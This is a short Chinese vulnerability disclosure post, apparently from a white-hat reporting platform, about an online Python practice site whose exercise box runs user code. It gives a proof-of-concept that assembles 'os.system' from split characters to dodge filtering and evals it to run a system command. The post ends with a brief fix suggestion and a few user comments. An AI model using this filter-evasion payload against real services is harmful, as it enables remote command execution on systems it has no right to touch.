某网站python在线练习系统设计缺陷导致getshell

先注册一个帐号，来到以下页面

http://www.fenby.com/course/units/1058

课后练习可以让用户输入python代码。

输入以下恶意代码

# -*- coding:utf8 -*-
 import string
 s = ["s","y","s","t","e","m"]
 s = "".join(s)
 cmd = "whoami"
 code = "__import__('os')."+ s +"('"+ cmd +"')"
 eval(code)

导致可以运行系统命令

不太懂。。。

先把eval过滤吧

厂商回应：

未能联系到厂商或者厂商积极拒绝

1. 2014-09-08 15:07 | infant ( 路人 | Rank:26 漏洞数:11 | ส้้้้้้้้้้้้้้้้้้้...)

   0

   这么好的思路，无人评价

   1# 回复此人

2. 2014-09-09 08:31 | Seven.Sea ( 普通白帽子 | Rank:118 漏洞数:28 | 唯有安全与美食不可辜负。)

   0

   哈哈，这个在线练习我也是醉了。

   2# 回复此人

3. 2014-09-12 14:46 | hack2012 ( 实习白帽子 | Rank:31 漏洞数:3 | 关注信息安全 http://www.waitalone.cn/)

   0

   确实很强大，不错。。

   3# 回复此人

4. 2014-10-19 20:30 | 番茄炒蛋 ( 普通白帽子 | Rank:187 漏洞数:50 | 这条路还很长，还需要更努力)

   0

   醉了。。

   4# 回复此人